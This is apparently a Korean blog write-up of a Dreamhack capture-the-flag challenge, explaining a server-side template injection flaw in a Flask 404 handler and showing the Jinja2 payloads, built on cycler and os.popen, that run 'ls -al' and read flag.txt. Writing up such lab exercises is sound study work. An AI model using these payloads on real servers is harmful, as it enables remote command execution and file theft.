반응형
문제 설명
존재하지 않는 페이지 방문 시 404 에러를 출력하는 서비스입니다.
SSTI 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
코드 분석
@app.errorhandler(404)
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path)
return render_template_string(template), 404
- 문자열 템플릿을 만들고 %s에 요청한 경로(request.path)를 넣어버림
- 문자열을 렌더링해서 HTML로 응답함
취약점 분석
- 사용자 입력(request.path)이 템플릿 문자열에 삽입됨 render_template_string 실행
- 결과적으로 {{ ... }} 같은 템플릿 문법이 서버에서 실행됨
익스 플로잇
먼저 SSTI가 발생하는지 확인하기 위해 {{7*7}}을 넣어봄

49가 출력되는 것을 알 수 있음
그렇다면 7*7 대신 flag경로를 삽입해 주면 될 듯하다
{{ cycler.__init__.__globals__.os.popen('ls -al').read() }}
먼저 디렉터리 확인을 위해 ls-al을 입력

flag.txt가 있는 것을 확인
{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}
cat flag.txt를 해주면 된다.

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| php-1 (0) | 2026.02.02 |
|---|---|
| image-storage (0) | 2026.02.02 |
| simple_sqli chatgpt (0) | 2026.01.30 |
| CSRF Advacned (0) | 2026.01.23 |
| XSS Filtering Bypass (0) | 2026.01.21 |